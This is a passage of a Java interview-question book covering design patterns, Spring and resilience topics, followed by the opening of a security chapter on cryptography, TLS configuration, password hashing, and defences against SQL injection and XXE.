Q79 **Two threads create separate instances of a "singleton" in a Spring application. How?** ADVANCED

Possible reasons: multiple `ApplicationContext`s (parent/child, test contexts), the same class loaded by different class loaders (app servers, plugins), `new Foo()` bypassing the container, or a prototype scope mistake. A classic static singleton is per class loader; a Spring singleton is per context.

FOLLOW-UP TRAPS

- **Does Spring's singleton scope guarantee one per JVM?** No.
- **Different test contexts?** Different `@MockBean` sets create separate cached contexts.

#singleton #classloading #spring

Q80 **Your Spring Boot app now fails at startup with a circular reference after upgrading to 2.6+. Options?** INTERMEDIATE

Refactor: extract the shared logic into a third bean, move one dependency to an event, or invert the dependency. Quick fix: `@Lazy` on one injection point. Last resort: `spring.main.allow-circular-references=true`.

FOLLOW-UP TRAPS

- **Why was it changed?** Cycles indicate design smells and caused subtle init-order bugs.
- **Does constructor injection fail on cycles?** Always, irrespective of the property.

#di #circular-dependency #spring-boot

Q81 **Choose between choreography and orchestration for a 6-step onboarding saga across teams.** ADVANCED

Use orchestration for 6 steps: a single owner holds the state machine, timeouts and compensations, and operators can see where each instance is stuck. Choreography with 6 services creates implicit cyclic coupling and hidden flow.

- Use an engine such as Temporal, Camunda or a hand-rolled persistent state machine.
- Choreography remains good for 2 to 3 loosely related reactions.

FOLLOW-UP TRAPS

- **Orchestrator as a single point of failure?** It must be persistent and horizontally scalable; state lives in a DB.
- **Who owns the orchestrator?** A clear team, otherwise it becomes a bottleneck.

#saga #choreography #orchestration

Q82 **A visitor over 25 AST node types is painful to extend. What do you use on Java 21?** ADVANCED

Model nodes as a sealed interface with records and write operations as `switch` pattern-matching functions. The compiler checks exhaustiveness: adding a node type breaks every non-exhaustive switch at compile time, which is exactly the visitor's safety, with less boilerplate.

FOLLOW-UP TRAPS

- **Is a `default` branch a good idea?** No, it disables exhaustiveness checking for new subtypes.
- **When keep a classic visitor?** Cross-module libraries targeting older Java or needing open-ended operation sets.

#visitor #sealed #pattern-matching

Q83 **Your service calls a flaky partner API; retries made things worse during their outage. What design?** INTERMEDIATE

Retries with exponential backoff, jitter and a small attempt cap, wrapped by a circuit breaker so retries stop when the partner is clearly down, plus timeouts and a retry budget. Retry only on transient errors (5xx, timeouts, 429 with `Retry-After`), not 4xx.

FOLLOW-UP TRAPS

- **Why jitter?** Without it clients retry in sync and cause thundering herd.
- **Non-idempotent operation?** Retry only with an idempotency key.

#retry #backoff #circuit-breaker

Q84 **A product catalog is read from DB on every request but changes daily. Which pattern, and what trap do you avoid?** BASIC

Caching decorator/proxy: `@Cacheable("catalog")` on the service method (Spring cache abstraction) with Caffeine or Redis, and `@CacheEvict` on updates. Set TTL and size bounds.

FOLLOW-UP TRAPS

- **Cache stampede on expiry?** Use `sync = true`, request coalescing, or jittered TTLs.
- **Caching mutable objects?** Callers can mutate cached instances; cache immutable DTOs.

#proxy #cache #decorator

Q85 **You must load a heavy `Report` object only when its content is accessed. Pattern?** BASIC

Virtual proxy: a lightweight proxy holds the id and loads the real object on first method call. JPA does this with `@ManyToOne(fetch = LAZY)` and `getReference()`; in plain code use a `Supplier` memoized with `Lazy`-style holder.

FOLLOW-UP TRAPS

- **What breaks it?** Accessing it outside the persistence context throws `LazyInitializationException`.
- **`EAGER` default on `@ManyToOne`?** Yes, so set `LAZY` explicitly.

#proxy #lazy-loading

Q86 **In a microservice you want clients not to know which of three internal services handles `/orders/{id}/summary`. Pattern?** INTERMEDIATE

API Gateway/Facade (or Backend-for-Frontend) that aggregates the calls and exposes one coarse endpoint. Make downstream calls in parallel (`CompletableFuture` or virtual threads) with timeouts and partial-response fallbacks.

FOLLOW-UP TRAPS

- **Business logic in the gateway?** Avoid; keep it orchestration and translation only.
- **One slow dependency?** Apply per-call timeouts and return partial data rather than failing all.

#facade #api-gateway #aggregation

Q87 **A builder-created object must be immutable, but one field is a `List`. What can go wrong?** INTERMEDIATE

If the builder passes its mutable list reference to the object, later builder or caller mutations change the "immutable" object. Copy defensively with `List.copyOf(list)` in the constructor, which also rejects nulls.

FOLLOW-UP TRAPS

- **`Collections.unmodifiableList` enough?** No, it is a view; the underlying list can still change.
- **Does `List.copyOf` always copy?** It returns the same instance if the argument is already an immutable `List.of` collection.

#builder #immutability #defensive-copy

Q88 A configuration object loaded at boot must be shared by all threads and reloaded on change without locking readers. Design? ADVANCED

Hold an immutable `Config` in an `AtomicReference<Config>` (or a `volatile` field). A reloader builds a new instance and swaps it atomically; readers get a consistent snapshot lock-free. This is copy-on-write with a Singleton accessor.

FOLLOW-UP TRAPS

- **Mutating fields of the current config instead?** Readers could see partial updates.
- **Multiple reads in one request?** Capture the reference once per request to get a consistent view.

#singleton #immutability #concurrency

Q89 Your DAO layer exposes 40 query methods growing weekly with combinations of filters. What pattern? INTERMEDIATE

Specification (Spring Data `JpaSpecificationExecutor`) or Querydsl predicates: build reusable filter fragments and combine at runtime. Return a `Page<DTO>` using a projection.

```
Specification<Order> spec = Specification.where(statusIs(PAID))
    .and(createdAfter(from)).and(customerIs(id));
orders.findAll(spec, pageable);
```

FOLLOW-UP TRAPS

- **Combinatorial indexes?** Specifications build the query only; design indexes for the actual patterns.
- **Null parameters?** Make specs return `null`/conjunction when the filter is absent.

#specification #repository #query

Q90 An `EventListener` runs before the surrounding transaction commits and sends an email for an order that later rolls back. Fix. INTERMEDIATE

Use `@TransactionalEventListener(phase = AFTER_COMMIT)` so the listener runs only after a successful commit. For guaranteed delivery use the outbox, since a crash after commit still loses an in-memory event.

FOLLOW-UP TRAPS

- **If no transaction is active?** The `@TransactionalEventListener` is not invoked unless `fallbackExecution = true`.
- **Can it do DB writes?** Only in a new transaction (`REQUIRES_NEW`).

#observer #transactions #events

Q91 A shared `SimpleDateFormat` singleton throws random parse errors in production. Cause and fix? BASIC

`SimpleDateFormat` is mutable and not thread-safe; sharing it in a singleton corrupts its internal calendar. Use `java.time.format.DateTimeFormatter`, which is immutable and thread-safe, and can safely be a static constant.

FOLLOW-UP TRAPS

- **`ThreadLocal<SimpleDateFormat>` fix?** Works but unnecessary since Java 8.
- **Output of two threads parsing concurrently?** Undefined: wrong dates or `NumberFormatException`.

#singleton #thread-safety #java-time

Q92 How would you implement a pluggable export (CSV, PDF, XLSX) where new formats come from separate jars? INTERMEDIATE

Strategy plus discovery: `Exporter` interface; formats register via `ServiceLoader` (META-INF/services) in plain Java, or as Spring beans collected by `List<Exporter>`. The router selects by `supports(format)`.

FOLLOW-UP TRAPS

- **ServiceLoader and class loaders?** It uses the context class loader; container environments may need explicit loader passing.
- **Duplicate support for the same format?** Define priority (`@Order`) or fail at startup.

#strategy #serviceloader #spring

Q93 **Entities in a bidirectional relationship cause infinite recursion when serialized to JSON. Pattern-level fix?** BASIC

Do not serialize entities. Map to DTOs that contain only the necessary fields and ids of related entities. Annotations like `@JsonManagedReference` / `@JsonBackReference` or `@JsonIgnore` are patches that couple entities to the API.

FOLLOW-UP TRAPS

- **Output without a fix?** `StackOverflowError` or `HttpMessageNotWritableException`.
- **Mapping tool?** MapStruct generates mappers at compile time.

#dto #serialization #jpa

Q94 **A scheduled job runs on 3 instances and sends every email three times. What pattern fixes this?** INTERMEDIATE

Ensure single execution via a leader/lock: ShedLock (DB or Redis lock per job name), or run jobs in one dedicated worker or use a queue so each unit is claimed once (`SELECT ... FOR UPDATE SKIP LOCKED`). Also make sending idempotent so duplicates are harmless.

FOLLOW-UP TRAPS

- **Lock expires while the job is still running?** Another instance starts; set lock duration above runtime or renew.
- **Is the lock enough for correctness?** No, add idempotency since locks can fail under pauses (GC, clock skew).

#distributed-lock #idempotency #scheduling

Q95 **You need to add a new payment method; the `switch` on `type` appears in 8 classes. What is the refactor and the risk?** INTERMEDIATE

Replace conditional with polymorphism: move each branch into an implementation of one interface, with a factory or registry to select it. Do it incrementally with tests, starting with the most duplicated switch.

FOLLOW-UP TRAPS

- **Leftover switch in the factory?** Acceptable: one place instead of eight.
- **Sealed interface with switch instead?** Also fine when the set of types is closed and owned.

#refactoring #polymorphism #strategy

Q96 **A reactive subscriber is too slow for the publisher. Which pattern concept is missing?** ADVANCED

Classic Observer pushes without regard for consumer speed. Reactive Streams (`java.util.concurrent.Flow`, Reactor) adds backpressure: the subscriber requests `n` items through `Subscription.request(n)` and the publisher never sends more.

FOLLOW-UP TRAPS

- **Behavior with an unbounded `request(Long.MAX_VALUE)`?** It disables backpressure.
- **Alternative for in-process queues?** Bounded `BlockingQueue` blocks or rejects producers.

#observer #backpressure #reactive

Q97 **You decorate `InputStream` as `new BufferedInputStream(new GZIPInputStream(new FileInputStream(f)))`. Which pattern, and what is the closing rule?** BASIC

Decorator. Closing the outermost stream closes the wrapped ones, so use try-with-resources on the outermost (or all) streams. Order matters: buffering outside decompression reads decompressed bytes in larger chunks.

FOLLOW-UP TRAPS

- **Does closing the outer close the inner?** Yes, by delegation in the standard decorators.
- **If the wrapper constructor throws?** The inner stream leaks unless it was declared as its own resource.

#decorator #io

Q98 **How would you design a plug-in discount engine where rules stack, have priorities and can be tested independently?** INTERMEDIATE

A `DiscountRule` interface with `apply(Cart, Price)` returning a new price, held in an ordered list (chain/pipeline) sorted by `@Order` or priority. Each rule is a small, stateless bean; the engine folds the price through the list. Stop rules (exclusive discounts) can short-circuit.

FOLLOW-UP TRAPS

- **Non-commutative rules?** Order must be explicit and documented; test it.
- **Money type?** Use `BigDecimal` or integer minor units, not `double`.

#chain-of-responsibility #strategy #design

Q99 **Your read path uses a cache-aside pattern and shows stale data after updates. What do you check?** INTERMEDIATE

Cache-aside means read: check cache then DB and populate; write: update DB then invalidate cache. Staleness arises from invalidating before the DB commit (a reader refills the old value), failed invalidations, or long TTLs. Invalidate after commit, set TTLs as a safety net, and use versioned keys or CDC-based invalidation for strictness.

FOLLOW-UP TRAPS

- **Update the cache instead of delete?** Concurrent writers can leave an older value; deletion is safer.
- **Cache penetration for missing ids?** Cache negative results briefly or use a Bloom filter.

#cache-aside #consistency

Q100 **In a hexagonal (ports and adapters) service where do patterns sit?** ADVANCED

Ports are interfaces owned by the domain (inbound: use cases; outbound: `OrderRepository`, `PaymentGateway`). Adapters implement them (REST controller, JPA repository, Kafka publisher). Dependencies point inward so domain code imports no framework.

- Uses Adapter, Repository, Strategy and Dependency Inversion together.
- Pays off in long-lived, complex domains; simple CRUD services rarely need it.

FOLLOW-UP TRAPS

- **Are JPA entities part of the domain?** In strict form no, you map between domain and persistence models; pragmatic teams annotate domain entities.
- **Where does `@Transactional` go?** On the application-service (use case) layer.

#hexagonal #ports-adapters #architecture

Q101 **Two services must update the same customer record; optimistic updates keep failing. Pattern considerations?** ADVANCED

Use optimistic locking (`@Version`), catch `OptimisticLockingFailureException`, reload and retry a bounded number of times (the retried unit of work must be re-read, not replayed on stale state). If contention is genuinely high, partition ownership (one writer service) or use pessimistic locks or atomic SQL updates.

FOLLOW-UP TRAPS
- **Retrying inside the same transaction?** Not valid; retry the whole transaction.
- **Expected exception for a stale update?** `ObjectOptimisticLockingFailureException` in Spring Data JPA.

#optimistic-locking #retry #concurrency

Q102 **Your team debates a `Util` class with 60 static methods. Assessment?** BASIC

A kitchen-sink utility class has low cohesion and static coupling that hampers testing. Split by concept into focused types (`MoneyUtils`, a `Slugifier` service), prefer instance behavior on the domain type, and use the JDK or Apache/Guava utilities rather than rewriting them.

FOLLOW-UP TRAPS
- **Is every static method bad?** No, pure stateless functions are fine.
- **Static helper that calls a database?** That is a hidden dependency and should be an injected bean.

#anti-patterns #static #cohesion

Q103 **A circuit breaker is stuck OPEN after the downstream recovered. What could be misconfigured?** ADVANCED

Check `waitDurationInOpenState` (too long), `automaticTransitionFromOpenToHalfOpenEnabled` (without it the transition occurs only on the next call), `permittedNumberOfCallsInHalfOpenState` too small to prove recovery, slow-call thresholds too aggressive, or the fallback masking success so trial calls never succeed.

FOLLOW-UP TRAPS
- **Does half-open allow all traffic?** No, only the configured number of probe calls; others still fail fast.
- **Do ignored exceptions count as failures?** No, ignored exceptions are neither success nor failure for the failure rate.

#circuit-breaker #resilience4j #troubleshooting

Q104 **Choose a pattern: after an `Order` is created, calculation of tax, shipping and discount runs in a fixed order but each step has multiple implementations per country.** INTERMEDIATE

A pipeline/Template Method fixes the sequence (tax -> shipping -> discount) in one orchestration class, and each step is a Strategy chosen by country from a registry. The skeleton stays stable while implementations vary per country, avoiding both a giant switch and an inheritance explosion.

FOLLOW-UP TRAPS
- **Why not subclass per country?** Variation on three axes would multiply subclasses.
- **Missing country implementation?** Fail fast at startup with a validation of the registry, or provide a documented default strategy.

#template-method #strategy #design-decision

CORE JAVA · CHAPTER 16

Java Security

JCA/JCE, hashing vs encryption vs signing, password hashing, AES-GCM, RSA/ECDSA, SecureRandom, TLS and keystores, OWASP Top 10 for Java, secrets, JWT pitfalls, SecurityManager removal, supply chain and incident scenarios.

105 questions **33** basic **55** intermediate **17** advanced

Theory

Q1 What are JCA and JCE, and how does the provider architecture work? BASIC

The Java Cryptography Architecture (JCA) is the framework in `java.security` and `javax.crypto` that exposes algorithms through engine classes (`MessageDigest`, `Signature`, `KeyPairGenerator`, `Cipher`, `Mac`, `SecureRandom`). JCE is the part covering encryption, key agreement and MACs. Implementations come from pluggable `Provider`s.

- `Cipher.getInstance("AES/GCM/NoPadding")` asks registered providers in priority order for the first one supporting it.
- Built-in providers include `SunJCE`, `SunEC`, `SunJSSE`; Bouncy Castle is added with `Security.addProvider`.
- Since Java 9 the unlimited-strength policy is the default; before 8u161 you needed policy files for AES-256.

> **FOLLOW-UP TRAPS**
> - **Is `Cipher.getInstance("AES")` safe?** No. It defaults to `AES/ECB/PKCS5Padding`, which leaks patterns.
> - **Do you need policy jar files for AES-256 today?** No, unlimited policy is default since 8u161/9.

#jca #jce #providers

Q2 Distinguish hashing, encryption, signing and MAC. BASIC

Hashing is a one-way digest with no key (integrity fingerprint). Encryption is reversible with a key (confidentiality). A MAC is a keyed digest proving integrity and authenticity between parties sharing a secret. A digital signature uses a private key to sign and a public key to verify, giving authenticity and non-repudiation.

- Hash: SHA-256. Encryption: AES-GCM. MAC: HMAC-SHA256. Signature: Ed25519, ECDSA, RSA-PSS.
- Encoding (Base64, hex) is none of these and gives no security.

> **FOLLOW-UP TRAPS**
> - **Is Base64 encryption?** No, it is a reversible public encoding.
> - **Can a MAC provide non-repudiation?** No, both sides hold the same key so either could have produced it.

#hashing #encryption #signing #mac

Q3 Which hash algorithms are acceptable and which are broken? BASIC

Use SHA-256, SHA-384, SHA-512, SHA-3 or BLAKE2/3 for integrity. MD5 and SHA-1 have practical collision attacks and must not be used for signatures, certificates or integrity against adversaries.

```
MessageDigest md = MessageDigest.getInstance("SHA-256");
byte[] digest = md.digest("data".getBytes(StandardCharsets.UTF_8));
String hex = HexFormat.of().formatHex(digest); // Java 17+
```

- Plain fast hashes are the wrong tool for passwords.
- Compare digests in constant time with `MessageDigest.isEqual`.

FOLLOW-UP TRAPS

- **Is SHA-1 fine for non-security checksums like Git object IDs?** Collision resistance still matters; use SHA-256 for new designs.
- **Does SHA-256 protect against length extension?** Not SHA-256 itself; HMAC or SHA-512/256 and SHA-3 avoid it.

#hashing #sha #md5

Q4 Why shouldn't you use SHA-256 for passwords, and what should you use? BASIC

General hashes are designed to be fast, so GPUs test billions of guesses per second. Password hashing uses salted, deliberately slow, tunable-cost functions: Argon2id (preferred, memory-hard), scrypt, bcrypt, or PBKDF2 (FIPS-friendly).

- Each hash has a unique random salt stored with it, which defeats rainbow tables and reveals identical passwords.
- Cost is tuned so one verification takes roughly 100-500 ms on production hardware.
- Spring Security's `DelegatingPasswordEncoder` stores `{id}` prefixes so you can migrate algorithms.

FOLLOW-UP TRAPS

- **Does a salt need to be secret?** No, it only needs to be unique and random.
- **Is a pepper the same as a salt?** No, a pepper is a secret shared across hashes and stored outside the database.

#password-hashing #bcrypt #argon2 #pbkdf2

Q5 Compare bcrypt, scrypt, Argon2 and PBKDF2. INTERMEDIATE

Argon2id is memory- and time-hard and is OWASP's first choice. bcrypt is CPU-hard with a small fixed memory, widely supported. PBKDF2 is only CPU-iteration based, easy on GPUs/ASICs but available in the JDK and FIPS-approved.

- JDK has only PBKDF2 (`PBKDF2WithHmacSHA256`); bcrypt/Argon2 come from Spring Security, Bouncy Castle, or libraries like Password4j.
- OWASP baseline: Argon2id m=19 MiB, t=2, p=1; bcrypt cost >= 10; PBKDF2-HMAC-SHA256 >= 600,000 iterations.
- bcrypt truncates input at 72 bytes.

FOLLOW-UP TRAPS

- **Why does bcrypt break with very long passphrases?** Only the first 72 bytes are used; pre-hashing needs care.
- **Is PBKDF2 with 1,000 iterations acceptable?** No, that is a legacy number; use current OWASP minimums.

#password-hashing #argon2 #bcrypt #pbkdf2

Q6 How do you hash a password with PBKDF2 in plain Java? INTERMEDIATE

Generate a 16-byte random salt, derive with `SecretKeyFactory`, and store algorithm, iterations, salt and hash together. Clear the `PBEKeySpec` afterward.

```
byte[] salt = new byte[16];
new SecureRandom().nextBytes(salt);
PBEKeySpec spec = new PBEKeySpec(pwd, salt, 600_000, 256);
try {
    byte[] hash = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256")
            .generateSecret(spec).getEncoded();
} finally {
    spec.clearPassword();
}
```

- Verify by recomputing with the stored salt and comparing via `MessageDigest.isEqual`.

FOLLOW-UP TRAPS

- **Why take `char[]` instead of `String`?** A `char[]` can be zeroed; strings are immutable and linger until GC.
- **Is `equals` on the byte arrays fine?** `Arrays.equals` short-circuits; use a constant-time compare.

#pbkdf2 #password-hashing #secretkeyfactory

Q7 What is AES-GCM and why is it preferred over CBC or ECB? INTERMEDIATE

GCM is an authenticated encryption (AEAD) mode: it encrypts and produces a tag that detects tampering. ECB encrypts identical blocks identically; CBC gives only confidentiality and is vulnerable to padding-oracle attacks without a separate MAC.

```
byte[] iv = new byte[12];
new SecureRandom().nextBytes(iv);
Cipher c = Cipher.getInstance("AES/GCM/NoPadding");
c.init(Cipher.ENCRYPT_MODE, key, new GCMParameterSpec(128, iv));
c.updateAAD(header);
byte[] ct = c.doFinal(plaintext); // ciphertext || 16-byte tag
```

- Store the IV beside the ciphertext; it is not secret.
- Decryption throws `AEADBadTagException` on tampering.

FOLLOW-UP TRAPS

- **Can you reuse an IV with the same key in GCM?** Never; it leaks the XOR of plaintexts and the authentication key.
- **Is the tag length configurable?** Yes, but use 128 bits.

#aes #gcm #aead

Q8 How should GCM nonces be generated, and what limits exist? ADVANCED

Use 96-bit nonces. Random nonces are safe only up to about 2^32 messages per key (collision probability bound, per NIST); beyond that rotate keys or use a counter-based or deterministic scheme.

- Counter nonces risk reuse after a restart or when multiple nodes share a key.
- Encrypt at most ~64 GiB per single message/nonce.
- Misuse-resistant alternatives: AES-GCM-SIV (not in the JDK) or XChaCha20-Poly1305 via a library.
- JDK 11+ includes `ChaCha20-Poly1305`.

FOLLOW-UP TRAPS

- **Does the JDK let you reuse the same GCM key and IV for encryption twice?** `Cipher` throws `InvalidAlgorithmParameterException` on re-init for encryption with the same key and IV without a new `init`.
- **Is 128-bit random IV better?** Not for GCM; non-96-bit IVs go through an extra GHASH step and add no real safety.

#aes-gcm #nonce #key-rotation

Q9 What is the padding oracle attack? ADVANCED

If a system decrypts AES-CBC and reveals (through errors or timing) whether padding was valid, an attacker can decrypt ciphertext byte by byte without the key.

- Fix by using AEAD (GCM) or encrypt-then-MAC, verifying the MAC before decrypting.
- Return identical generic errors; do not distinguish padding failures from MAC failures.

FOLLOW-UP TRAPS

- **Does MAC-then-encrypt solve it?** No, decryption and padding checks happen before the MAC is verified; use encrypt-then-MAC.
- **Does the attacker need the key?** No, only a decryption endpoint that leaks validity.

#cbc #padding-oracle #aes

Q10 Explain RSA usage: padding schemes and key sizes. INTERMEDIATE

Use RSA with at least 2048-bit keys (3072 for long-term). For encryption use OAEP (`RSA/ECB/OAEPWithSHA-256AndMGF1Padding`); for signing use PSS (`RSASSA-PSS`) or PKCS#1 v1.5 with SHA-256 if interoperability demands it. Never use textbook RSA or PKCS#1 v1.5 encryption (Bleichenbacher attacks).

- RSA encrypts only small payloads (key size minus padding), so use hybrid encryption: RSA wraps a random AES key.
- `"RSA"` alone defaults to `RSA/ECB/PKCS1Padding`, the weak option.

FOLLOW-UP TRAPS

- **Does "ECB" in the RSA transformation mean block repetition problems?** No, it is a naming artifact; only one block is processed.
- **Can you encrypt a 1 KB file directly with RSA-2048?** No, the limit is about 190 bytes with OAEP-SHA256.

#rsa #oaep #pss

Q11 How does hybrid encryption work and when would you use it? INTERMEDIATE

Generate a fresh random AES key per message, encrypt the data with AES-GCM, then encrypt (wrap) that AES key with the recipient's RSA/EC public key. Send the wrapped key plus IV plus ciphertext.

- Asymmetric crypto handles key distribution, symmetric crypto handles bulk data speed.
- Use ECDH + HKDF (or HPKE, RFC 9180) for EC keys.
- `Cipher.WRAP_MODE` and `UNWRAP_MODE` keep the key object away from raw bytes.

FOLLOW-UP TRAPS

- **Why not reuse one AES key for all messages?** It increases nonce-collision risk and the blast radius of compromise.
- **Is envelope encryption in cloud KMS the same idea?** Yes, a KMS master key wraps data keys.

#hybrid-encryption #rsa #aes

Q12 ECDSA vs RSA vs EdDSA for signatures: how do you choose? INTERMEDIATE

ECDSA (P-256) gives short keys and signatures and fast signing. RSA-2048 has larger keys but fast verification and broad compatibility. Ed25519 (JDK 15+) is deterministic, fast and avoids nonce pitfalls.

```
KeyPairGenerator g = KeyPairGenerator.getInstance("Ed25519"); // JDK 15+
KeyPair kp = g.generateKeyPair();
Signature s = Signature.getInstance("Ed25519");
s.initSign(kp.getPrivate());
s.update(msg);
byte[] sig = s.sign();
```

- ECDSA needs a unique secret per signature; a repeated or biased nonce leaks the private key.
- JDK 17+ (`SunEC`) implements ECDSA with secure randomness; legacy `SHA1withECDSA` should be avoided.

FOLLOW-UP TRAPS

- **What happened with the JDK ECDSA bug of 2022?** Psychic Signatures (CVE-2022-21449) in Java 15-18 accepted blank signatures; fixed in April 2022 CPU.
- **Is `SHA256withECDSA` output raw r||s?** No, it is DER; use `SHA256withECDSAinP1363Format` for raw (e.g., JWT ES256).

#ecdsa #eddsa #rsa #signatures

Q13 What does SecureRandom do, and how does it differ from java.util.Random? BASIC

`SecureRandom` is a cryptographically strong PRNG seeded from OS entropy (`/dev/urandom` on Linux). `java.util.Random` is a 48-bit LCG whose entire future output is predictable from a couple of values.

- Use it for tokens, salts, IVs, keys, session IDs, CSRF tokens.
- `ThreadLocalRandom` and `Math.random()` are likewise not secure.

FOLLOW-UP TRAPS

- **Is `SecureRandom` thread-safe?** Yes, but one shared instance can contend under heavy load; instances per thread are optional, not necessary.
- **Does `new SecureRandom(seed)` make it stronger?** No; with some algorithms it makes output deterministic.

#securerandom #random #entropy

Q14 Which SecureRandom algorithm should you pick, and what about blocking? INTERMEDIATE

Use `new SecureRandom()` and let the platform choose. On Linux that is `NativePRNG`, which reads `/dev/urandom` and does not block. `getInstanceStrong()` uses the configured `securerandom.strongAlgorithms` (often `NativePRNGBlocking`) and can block.

- Do not call `getInstanceStrong()` on request paths; it can stall servers with low entropy (older VMs/containers).
- `-Djava.security.egd=file:/dev/./urandom` was a Java 8-era workaround; modern JDKs do not need it.
- `DRBG` (JDK 9+) is NIST SP 800-90A compliant.

FOLLOW-UP TRAPS

- **Is `/dev/urandom` insecure vs `/dev/random`?** After boot-time seeding, both are fine on modern Linux kernels.
- **Is it OK to call `setSeed` after creation?** It supplements the seed for most providers but it is pointless; do not rely on it.

#securerandom #nativeprng #blocking

Q15 What is the difference between a keystore and a truststore? BASIC

A keystore holds your own private keys and certificate chains (identity you present). A truststore holds certificates of CAs or peers you trust (used to verify the other side). Both use the same file formats, but different roles.

- Default truststore: `$JAVA_HOME/lib/security/cacerts` (password `changeit`).

- Configure with `-Djavax.net.ssl.keyStore`, `-Djavax.net.ssl.trustStore` and passwords, or in code via `KeyManagerFactory` and `TrustManagerFactory`.
- Prefer PKCS12; JKS is legacy (default since Java 9 is PKCS12).

FOLLOW-UP TRAPS

- **Can a client skip a keystore?** Yes, unless the server requires mutual TLS.
- **Is `changeit` secret?** No; protecting trust anchors via integrity of the file matters, not that password.

#keystore #truststore #tls

Q16 How does TLS server certificate validation work in Java? INTERMEDIATE

The `X509TrustManager` builds a chain from the server cert to a trusted anchor, checks signatures, validity dates, basic constraints, key usage, and optionally revocation. Separately, hostname verification confirms the certificate's SAN matches the requested host.

- `HttpsURLConnection` and `HttpClient` do hostname checks; raw `SSLSocket` does not unless you set `SSLParameters.setEndpointIdentificationAlgorithm("HTTPS")`.
- Revocation (CRL/OCSP) is off by default; enable with `com.sun.net.ssl.checkRevocation` and `ocsp.enable`.
- Certificates are matched on SAN; CN fallback is not used.

FOLLOW-UP TRAPS

- **Is trusting the chain enough?** No, without hostname verification any valid cert for any domain would pass.
- **Does Java check revocation by default?** No.

#tls #certificate-validation #pkix

Q17 Why is a trust-all TrustManager dangerous and what are legitimate alternatives? BASIC

An `X509TrustManager` with empty `checkServerTrusted` and an always-true `HostnameVerifier` disables authentication, so anyone on the network can MITM the connection and read or alter traffic, making TLS pointless.

- Correct fix for internal CAs: import the CA into a dedicated truststore and load it with `SSLContext`.
- For dev, use mkcert or a local CA, not disabled validation.
- Static scanners and Appknox-type checks flag this as a critical issue.

FOLLOW-UP TRAPS

- **Is it safe on an internal network?** No; lateral movement and ARP spoofing exist.
- **Does certificate pinning replace the truststore?** It narrows trust further, but standard validation should still run.

#tls #trustmanager #mitm

Q18 How do you configure a custom SSLContext and enforce TLS versions? INTERMEDIATE

Load a KeyStore, create `TrustManagerFactory` (and `KeyManagerFactory` for mTLS), init `SSLContext.getInstance("TLS")`, and pass it to `HttpClient`.

```
KeyStore ts = KeyStore.getInstance("PKCS12");
try (InputStream in = Files.newInputStream(Path.of("trust.p12"))) {
    ts.load(in, pwd);
}
TrustManagerFactory tmf =
    TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
tmf.init(ts);
SSLContext ctx = SSLContext.getInstance("TLS");
ctx.init(null, tmf.getTrustManagers(), null);
HttpClient client = HttpClient.newBuilder().sslContext(ctx).build();
```

- Restrict versions with `jdk.tls.client.protocols` or `SSLParameters.setProtocols`.
- TLS 1.0/1.1 are disabled by default since JDK 11.0.11/8u291 via `jdk.tls.disabledAlgorithms`.

FOLLOW-UP TRAPS

- **Does `SSLContext.getInstance("TLS")` negotiate TLS 1.3?** Yes on Java 11+ (and 8u261+ for clients with config).
- **Does `ctx.init(null, tmf..., null)` replace the default cacerts?** Yes, only your truststore applies.

#sslcontext #tls13 #truststore

Q19 Explain mutual TLS (mTLS) in Java. INTERMEDIATE

In mTLS both sides present certificates. The server sets `needClientAuth` and trusts the client CA; the client has a keystore with its key and chain. It authenticates services without shared secrets.

- Server: `SSLParameters.setNeedClientAuth(true)`, or Spring Boot `server.ssl.client-auth=need`.
- Client: `KeyManagerFactory` from keystore plus truststore for the server CA.
- Identity extracted from the client cert subject/SAN is used for authorization.

FOLLOW-UP TRAPS

- **`want` vs `need`?** `want` accepts connections without a cert; `need` rejects them.
- **Does mTLS authorize?** It authenticates; you still need authorization checks on the identity.

#mtls #tls #keystore

Q20 How do you inspect and manage keystores with keytool? BASIC

`keytool` creates, imports, lists and exports keys and certificates.

```
keytool -genkeypair -alias app -keyalg EC -groupname secp256r1 \
  -validity 365 -keystore app.p12 -storetype PKCS12 \
  -dname "CN=app.example.com" -ext san=dns:app.example.com
keytool -list -v -keystore app.p12
keytool -importcert -alias rootca -file ca.pem -keystore trust.p12
```

- Import the full chain in order (leaf, intermediates).
- Use `-ext san=` since hostname checks ignore CN.

FOLLOW-UP TRAPS

- **Why does import fail with "certificate not trusted"?** The issuing CA is missing from the keystore; import the chain.
- **JKS vs PKCS12?** PKCS12 is the standard and the default since Java 9.

#keytool #keystore #pkcs12

Q21 What are the OWASP Top 10 categories most relevant to Java backends? BASIC

From the 2021 list: Broken Access Control (A01), Cryptographic Failures (A02), Injection (A03), Insecure Design (A04), Security Misconfiguration (A05), Vulnerable Components (A06), Auth Failures (A07), Integrity Failures including insecure deserialization (A08), Logging/Monitoring Failures (A09), SSRF (A10).

- Broken access control (IDOR, missing method security) is the most common in real audits.
- XXE merged into Security Misconfiguration in 2021.

> **FOLLOW-UP TRAPS**
> - **Is injection only SQL?** No: LDAP, OS command, JNDI, SpEL, JPQL/HQL, template and log injection also count.
> - **Where did XSS go?** Into A03 Injection.

#owasp #top10 #overview

Q22 How do you prevent SQL injection in Java? BASIC

Use parameterized queries (`PreparedStatement`, JPA named parameters, Spring Data derived queries) so user data is never parsed as SQL. Escaping by hand is brittle.

```
String sql = "SELECT id FROM users WHERE email = ?";
try (PreparedStatement ps = con.prepareStatement(sql)) {
    ps.setString(1, email);
    try (ResultSet rs = ps.executeQuery()) { /* ... */ }
}
```

- Bind parameters cannot parameterize identifiers (table, column, `ORDER BY`); allow-list those values.
- JPQL/HQL string concatenation is equally injectable.
- Least-privilege DB accounts limit damage.

> **FOLLOW-UP TRAPS**
> - **Is `Statement` with `escape` safe?** No; encoding-dependent bypasses exist.
> - **Can you bind `ORDER BY ?`?** It binds as a literal constant, not a column; use a whitelist map.

#sql-injection #jdbc #owasp

Q23 What is XXE and how do you disable it in Java parsers? INTERMEDIATE

XML External Entity attacks abuse DTD entity declarations to read local files, trigger SSRF or cause DoS (billion laughs). Disable DTDs and external entities on every parser.

```
DocumentBuilderFactory f = DocumentBuilderFactory.newInstance();
f.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
f.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
f.setXIncludeAware(false);
f.setExpandEntityReferences(false);
```

